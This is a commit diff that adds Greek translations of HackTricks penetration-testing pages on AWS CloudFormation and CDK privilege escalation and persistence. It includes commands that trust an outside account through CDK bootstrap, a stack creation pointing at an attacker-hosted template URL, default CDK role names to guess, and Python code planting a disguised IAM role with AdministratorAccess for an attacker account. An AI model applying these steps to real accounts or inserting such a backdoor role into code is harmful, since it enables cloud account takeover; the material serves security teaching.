Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:36:40 +00:00
parent 328b969d0d
commit 611c21ec75
4 changed files with 89 additions and 14 deletions
+1
View File
@@ -211,6 +211,7 @@
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
Για περισσότερες πληροφορίες, επισκεφθείτε:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
Ο AWS CDK αναπτύσσει ένα CFN stack που ονομάζεται `CDKToolkit`. Αυτό το stack υποστηρίζει μια παράμετρο `TrustedAccounts` που επιτρέπει σε εξωτερικούς λογαριασμούς να αναπτύσσουν έργα CDK στον λογαριασμό του θύματος. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να αποκτήσει απεριόριστη πρόσβαση στον λογαριασμό του θύματος, είτε χρησιμοποιώντας το AWS cli για να αναπτύξει ξανά το stack με παραμέτρους, είτε το AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```
Στη συνέχεια έχετε ένα **παράδειγμα εκμετάλλευσης** με την επιπλέον άδεια **`cloudformation:DescribeStacks`**:
Στην παρακάτω σελίδα έχετε ένα **παράδειγμα εκμετάλλευσης** με την επιπλέον άδεια **`cloudformation:DescribeStacks`**:
{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -43,17 +43,17 @@ aws cloudformation update-stack \
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
Εάν έχετε αυτή την άδεια αλλά **όχι `iam:PassRole`**, μπορείτε ακόμα να **ενημερώσετε τα stacks** που χρησιμοποιούνται και να εκμεταλλευτείτε τους **IAM Ρόλους που έχουν ήδη συσχετιστεί**. Ελέγξτε την προηγούμενη ενότητα για παράδειγμα εκμετάλλευσης (απλά μην υποδείξετε κανέναν ρόλο στην ενημέρωση).
Εάν έχετε αυτή την άδεια αλλά **όχι `iam:PassRole`**, μπορείτε ακόμα να **ενημερώσετε τα stacks** που χρησιμοποιούνται και να εκμεταλλευτείτε τους **IAM Ρόλους που έχουν ήδη συνημμένα**. Ελέγξτε την προηγούμενη ενότητα για παράδειγμα εκμετάλλευσης (απλά μην υποδείξετε κανέναν ρόλο στην ενημέρωση).
Η άδεια `cloudformation:SetStackPolicy` μπορεί να χρησιμοποιηθεί για να **δώσετε στον εαυτό σας άδεια `UpdateStack`** πάνω σε ένα stack και να εκτελέσετε την επίθεση.
**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας cloudformation που έχει ήδη συσχετιστεί.
**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας cloudformation που είναι ήδη συνημμένος.
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
Ένας επιτιθέμενος με άδειες να **περάσει έναν ρόλο και να δημιουργήσει & εκτελέσει ένα ChangeSet** μπορεί να **δημιουργήσει/ενημερώσει ένα νέο cloudformation stack και να εκμεταλλευτεί τους ρόλους υπηρεσίας cloudformation** ακριβώς όπως με το CreateStack ή UpdateStack.
Ένας επιτιθέμενος με άδειες να **περάσει έναν ρόλο και να δημιουργήσει & εκτελέσει ένα ChangeSet** μπορεί να **δημιουργήσει/ενημερώσει ένα νέο cloudformation stack και να εκμεταλλευτεί τους ρόλους υπηρεσίας cloudformation** όπως με το CreateStack ή UpdateStack.
Η παρακάτω εκμετάλλευση είναι μια **παραλλαγή της**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) χρησιμοποιώντας τις **άδειες ChangeSet** για να δημιουργήσει ένα stack.
Η παρακάτω εκμετάλλευση είναι μια **παραλλαγή της**[ **CreateStack**](#iam-passrole-cloudformation-createstack) χρησιμοποιώντας τις **άδειες ChangeSet** για να δημιουργήσει ένα stack.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -85,11 +85,11 @@ aws cloudformation describe-stacks \
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
Αυτό είναι όπως η προηγούμενη μέθοδος χωρίς να περάσετε **ρόλους IAM**, οπότε μπορείτε απλά να **καταχραστείτε αυτούς που είναι ήδη συνδεδεμένοι**, απλά τροποποιήστε την παράμετρο:
Αυτό είναι όπως η προηγούμενη μέθοδος χωρίς να περάσετε **IAM ρόλους**, οπότε μπορείτε απλά να **καταχραστείτε αυτούς που είναι ήδη συνδεδεμένοι**, απλά τροποποιήστε την παράμετρο:
```
--change-set-type UPDATE
```
**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας cloudformation που είναι ήδη συνδεδεμένος.
**Πιθανές Επιπτώσεις:** Privesc στο ρόλο υπηρεσίας cloudformation που έχει ήδη προσαρτηθεί.
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
@@ -99,12 +99,57 @@ aws cloudformation describe-stacks \
### `cloudformation:UpdateStackSet`
Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την άδεια χωρίς την άδεια passRole για να ενημερώσει StackSets για να εκμεταλλευτεί τους συνδεδεμένους ρόλους cloudformation.
Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την άδεια χωρίς την άδεια passRole για να ενημερώσει StackSets για να εκμεταλλευτεί τους προσαρτημένους ρόλους cloudformation.
**Πιθανές Επιπτώσεις:** Privesc στους συνδεδεμένους ρόλους cloudformation.
**Πιθανές Επιπτώσεις:** Privesc στους προσαρτημένους ρόλους cloudformation.
## AWS CDK
Το AWS cdk είναι ένα εργαλείο που επιτρέπει στους χρήστες να ορίζουν την υποδομή τους ως κώδικα σε γλώσσες που ήδη γνωρίζουν, καθώς και να επαναχρησιμοποιούν εύκολα τμήματα. Το CDK στη συνέχεια μετατρέπει τον υψηλού επιπέδου κώδικα (π.χ. python) σε πρότυπα Cloudformation (yaml ή json).
Για να χρησιμοποιήσετε το CDK, ένας διαχειριστικός χρήστης πρέπει πρώτα να εκκινήσει τον λογαριασμό, ο οποίος δημιουργεί αρκετούς ρόλους IAM, συμπεριλαμβανομένου του *exec role*, ο οποίος έχει \*/\* άδειες. Αυτοί οι ρόλοι ακολουθούν τη δομή ονοματοδοσίας `cdk-<qualifier>-<name>-<account-id>-<region>`. Η εκκίνηση πρέπει να γίνει μία φορά ανά περιοχή ανά λογαριασμό.
Από προεπιλογή, οι χρήστες CDK δεν έχουν πρόσβαση για να καταγράψουν τους ρόλους που απαιτούνται για τη χρήση του CDK, πράγμα που σημαίνει ότι θα χρειαστεί να τους προσδιορίσετε χειροκίνητα. Εάν παραβιάσετε μια μηχανή προγραμματιστή ή κάποιο κόμβο CI/CD, αυτοί οι ρόλοι μπορούν να υποτεθούν για να σας δώσουν τη δυνατότητα να αναπτύξετε πρότυπα CFN, χρησιμοποιώντας τον ρόλο `cfn-exec` για να επιτρέψετε στο CFN να αναπτύξει οποιουσδήποτε πόρους, πλήρως παραβιάζοντας τον λογαριασμό.
### Προσδιορισμός των ονομάτων ρόλων
Εάν έχετε `cloudformation:DescribeStacks`, οι ρόλοι ορίζονται σε ένα stack που ονομάζεται `CDKToolkit`, και μπορείτε να τραβήξετε τα ονόματα από εκεί.
Εάν βρίσκεστε σε μια μηχανή που έχει χρησιμοποιηθεί για την κατασκευή και ανάπτυξη έργων CDK, μπορείτε να τα τραβήξετε από το `cdk.out/manafest.json` στον ριζικό κατάλογο των έργων.
Μπορείτε επίσης να κάνετε μια καλή εκτίμηση για το ποιοι είναι. Το `qualifier` είναι μια συμβολοσειρά που προστίθεται στους ρόλους επιτρέποντας την ανάπτυξη πολλαπλών περιπτώσεων της εκκίνησης CDK ταυτόχρονα, ωστόσο η προεπιλεγμένη τιμή είναι σκληρά κωδικοποιημένη σε `hnb659fds`.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Προσθήκη κακόβουλου κώδικα στην πηγή του έργου
Αν μπορείτε να γράψετε στην πηγή του έργου, αλλά δεν μπορείτε να το αναπτύξετε μόνοι σας (για παράδειγμα, ο προγραμματιστής αναπτύσσει τον κώδικα μέσω CI/CD, όχι από το τοπικό μηχάνημα), μπορείτε να συμβιβάσετε το περιβάλλον προσθέτοντας κακόβουλους πόρους στο stack. Το παρακάτω προσθέτει έναν ρόλο IAM που μπορεί να αναληφθεί από έναν λογαριασμό επιτιθέμενου σε ένα έργο python CDK.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Αναφορές
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## CloudFormation
Η υπηρεσία AWS CloudFormation έχει σχεδιαστεί για να **απλοποιεί τη διαχείριση των πόρων AWS**. Επιτρέπει στους χρήστες να επικεντρώνονται περισσότερο στις εφαρμογές τους που εκτελούνται στο AWS, **ελαχιστοποιώντας τον χρόνο που δαπανάται στη διαχείριση πόρων**. Η βασική δυνατότητα αυτής της υπηρεσίας είναι το **πρότυπο**—ένα περιγραφικό μοντέλο των επιθυμητών πόρων AWS. Μόλις παρασχεθεί αυτό το πρότυπο, το CloudFormation είναι υπεύθυνο για την **παροχή και τη διαμόρφωση** των καθορισμένων πόρων. Αυτή η αυτοματοποίηση διευκολύνει μια πιο αποδοτική και χωρίς σφάλματα διαχείριση της υποδομής AWS.
Η υπηρεσία AWS CloudFormation έχει σχεδιαστεί για να **απλοποιεί τη διαχείριση των πόρων AWS**. Επιτρέπει στους χρήστες να επικεντρώνονται περισσότερο στις εφαρμογές τους που εκτελούνται στο AWS, **ελαχιστοποιώντας τον χρόνο που δαπανάται στη διαχείριση πόρων**. Η κύρια δυνατότητα αυτής της υπηρεσίας είναι το **πρότυπο**—ένα περιγραφικό μοντέλο των επιθυμητών πόρων AWS. Μόλις παρασχεθεί αυτό το πρότυπο, το CloudFormation είναι υπεύθυνο για την **παροχή και τη διαμόρφωση** των καθορισμένων πόρων. Αυτή η αυτοματοποίηση διευκολύνει μια πιο αποδοτική και χωρίς σφάλματα διαχείριση της υποδομής AWS.
### Enumeration
```bash
@@ -31,19 +31,25 @@ aws cloudformation list-stack-set-operation-results --stack-set-name <name> --op
```
### Privesc
Στη συνέχεια σελίδα μπορείτε να ελέγξετε πώς να **καταχραστείτε τις άδειες cloudformation για να κλιμακώσετε τα προνόμια**:
Στην παρακάτω σελίδα μπορείτε να ελέγξετε πώς να **καταχραστείτε τις άδειες cloudformation για να κλιμακώσετε τα προνόμια**:
{{#ref}}
../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}}
### Persistence
{{#ref}}
../aws-persistence/aws-cloudformation-persistence.md
{{#endref}}
### Post-Exploitation
Ελέγξτε για **μυστικά** ή ευαίσθητες πληροφορίες στο **πρότυπο, παραμέτρους & έξοδο** κάθε CloudFormation
Ελέγξτε για **μυστικά** ή ευαίσθητες πληροφορίες στο **template, parameters & output** κάθε CloudFormation
## Codestar
AWS CodeStar είναι μια υπηρεσία για τη δημιουργία, διαχείριση και εργασία με έργα ανάπτυξης λογισμικού στο AWS. Μπορείτε να αναπτύξετε, κατασκευάσετε και αναπτύξετε εφαρμογές στο AWS γρήγορα με ένα έργο AWS CodeStar. Ένα έργο AWS CodeStar δημιουργεί και **ενσωματώνει τις υπηρεσίες AWS** για την αλυσίδα εργαλείων ανάπτυξης του έργου σας. Ανάλογα με την επιλογή σας για το πρότυπο έργου AWS CodeStar, αυτή η αλυσίδα εργαλείων μπορεί να περιλαμβάνει έλεγχο πηγής, κατασκευή, ανάπτυξη, εικονικούς διακομιστές ή πόρους χωρίς διακομιστές, και άλλα. Το AWS CodeStar επίσης **διαχειρίζεται τις άδειες που απαιτούνται για τους χρήστες του έργου** (που ονομάζονται μέλη της ομάδας).
AWS CodeStar είναι μια υπηρεσία για τη δημιουργία, διαχείριση και εργασία με έργα ανάπτυξης λογισμικού στο AWS. Μπορείτε γρήγορα να αναπτύξετε, κατασκευάσετε και αναπτύξετε εφαρμογές στο AWS με ένα έργο AWS CodeStar. Ένα έργο AWS CodeStar δημιουργεί και **ενσωματώνει τις υπηρεσίες AWS** για την αλυσίδα εργαλείων ανάπτυξης του έργου σας. Ανάλογα με την επιλογή σας για το πρότυπο έργου AWS CodeStar, αυτή η αλυσίδα εργαλείων μπορεί να περιλαμβάνει έλεγχο πηγής, κατασκευή, ανάπτυξη, εικονικούς διακομιστές ή πόρους χωρίς διακομιστές, και άλλα. Το AWS CodeStar επίσης **διαχειρίζεται τις άδειες που απαιτούνται για τους χρήστες του έργου** (που ονομάζονται μέλη της ομάδας).
### Enumeration
```bash
@@ -58,7 +64,7 @@ aws codestar describe-user-profile --user-arn <arn>
```
### Privesc
Στη συνέχεια σελίδα μπορείτε να δείτε πώς να **καταχραστείτε τις άδειες του codestar για να κλιμακώσετε τα προνόμια**:
Στην παρακάτω σελίδα μπορείτε να δείτε πώς να **καταχραστείτε τις άδειες του codestar για να κλιμακώσετε τα προνόμια**:
{{#ref}}
../aws-privilege-escalation/aws-codestar-privesc/